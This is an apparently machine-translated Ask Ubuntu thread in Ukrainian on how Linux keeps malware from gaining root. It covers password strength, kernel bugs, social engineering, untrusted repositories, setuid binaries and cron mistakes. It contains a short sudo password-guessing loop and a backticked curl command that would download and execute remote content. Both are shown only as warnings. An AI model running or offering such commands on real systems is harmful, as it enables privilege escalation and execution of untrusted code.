Як система зберігається в безпеці?


24

Я розумію, що якщо будь-яке зловмисне програмне забезпечення потрапляє в систему Linux, воно, як мінімум, отримає привілей на рівні користувача та зруйнує все, що знаходиться в межах досяжності конкретного користувача, тобто власні файли користувача.

Але що саме утримує від шкідливих програм доступ до кореневого доступу? Чи не може він якось зламати пароль зсередини?


Чудове запитання та відповіді!
NlightNFotis

Відповіді:


20

Це складне питання. У системі Ubuntu існує безліч різних рівнів безпеки, від складних рамок, таких як AppArmor, до таких скромних змінних ядра mmap_min_addr. Ви можете додати деякі функції ядра, такі як рандомізація пам'яті в суміш. Ви можете знайти їх список разом із короткими поясненнями на Ubuntu Wiki .

Ще одним важливим фактором є те, що оновлення відбувається як швидко, так і просто - тому більшість комп'ютерів буде оновлено до останніх виправлень безпеки.

Наскільки мені відомо, зловмисник, який отримав локальний доступ до вашого комп'ютера, має три способи масштабування привілеїв ядра:

  1. Зламати пароль. Але це стане справді складно, пароль зберігається в зашифрованому вигляді, використовуючи алгоритми, що не мають відомих вад. Це займе віки, щоб зламати його.

  2. Помилка в ядрі. Але всі функції безпеки ядра перешкоджають.

  3. Підманьте користувача ввести пароль, тобто соціальну інженерію. Просто покажіть підроблений діалог з паролем або скористайтеся іншим фокусом. Це найпростіший спосіб зробити це.

Третій момент - це найслабша вразливість зараз.


5
Зауважте, що цей "пароль" - це пароль користувача, який має права доступу до root. Кореневий обліковий запис вимкнено за замовчуванням. №3 - це дійсно найбільш можлива річ. Крім того, якщо ви встановите ненадійні сховища, ви видаєте безкоштовні кореневі акаунти до цього сховища.
Лекенштейн

@Lekensteyn, що ?! Як додавання ненадійних репостів роздає кореневий доступ? До речі, ви можете опублікувати це як відповідь, я хочу, щоб ця тема була якоюсь вікі спільноти.
Oxwivi

На askubuntu немає інших потоків, крім серверних процесів. Ви щойно опублікували коментар до відповіді на своє запитання . Я додав відповідь з їжею для роздумів.
Лекенштейн

@Oxwivi Коли ви додаєте PPA та встановлюєте пакет, у ньому є сценарії preinst та postinst, які можуть робити все що завгодно. Він також може встановити службу для запуску як root або безлад sudoers.
Відновіть Моніку - ζ--

15

Злом самого кореневого пароля неможливий, оскільки Ubuntu за умовчанням відключив користувача root. Однак якщо ваш користувач може отримати корінь через sudo і ваш пароль легко вгадати / грубої сили, у вас незахищена система. Приклад сценарію, який намагається перевірити деякий пароль:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Додавання ненадійного сховища дозволяє встановлювати програми з цього сховища. Навіть якщо ви явно не встановлюєте подібну програму sudo apt-get install [app-from-repo], сховище все одно може впливати на інші програми, змушуючи Ubuntu вважати, що репозиторій містить новішу версію певної програми.

Процес оновлення запускається як root, інакше файли не вдалося записати в /usr/binабо /etc. Тригер установки також запускається як root і може запускати довільно, і, можливо, шкідливі команди. Тепер не хвилюйтеся, для оновлення програм потрібні ручні дії, а сховища Ubuntu безпечні. Програмному забезпеченню із закритим кодом, як-от Windows, ніколи не можна повністю довіряти, оскільки ви не можете перевірити джерело на наявність шкідливого коду, але ви можете переглянути джерело програми Ubuntu, якщо це потрібно (не застосовується до власних програм, таких як sun-java6Flash або Flash).

Як згадував Хав'єр Рівера, помилки в ядрі можуть призвести до довільного виконання коду, але також можливе небезпечне програмне забезпечення, особливо помилкові setsuidкореневі бінарні файли (бінарні файли, які працюватимуть під власником файлу, root) та інші програми, що працюють під керуванням.

Ви можете створити отвори у безпеці у своїй системі, якщо не звернете уваги на те, що робите. Наприклад, не повністю розуміючи поняття cronjobs, ви додали cronjob, на /etc/cron.dailyякий запускаєте програму у вашій домашній папці (наприклад, /bin/sh /home/your-username/myscript.shякщо файл myscript.sh написано вами, ви можете видалити вас, експлуатація може спричинити зловмисний код, у myscript.shякому буде запускатися як root (ескалація привілеїв).

Щоб залишатися в безпеці, використовуйте свій розум! Не запускайте команди з ненадійних джерел, якщо ви не знаєте, що це робить. Якщо хтось каже, біжіть `curl 3221233674`із зворотними кліщами, не робіть цього. 3221233674 - це ще один спосіб написання 192.0.32.10(IP-адреса example.com). Отже, це було б дорівнює:

`curl http://example.com/`

Ці зворотні тики призводять до того, що вихід буде виконуватися як команди оболонки. Простий англійською мовою "Завантажте сторінку http://example.com/ і спробуйте виконати завантажену сторінку".

Спочатку ви не побачили б щось зловмисне в даній команді. Але тепер, ви знаєте, це також можна зловживати.

Завжди перевіряйте команди / скрипт, які ви отримуєте з недовірених джерел, як-от Інтернету.


1
Дякую за відповідь, сподіваюся, ви не заперечили мої зміни. Візьміть до уваги мої зміни, щоб покращити вашу англійську мову.
Oxwivi

2
Ні, я не проти. Кожне вдосконалення вітається :)
Lekensteyn

Незважаючи на це, це чудовий пост, слід зазначити пункти, які ви згадали!
Oxwivi
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.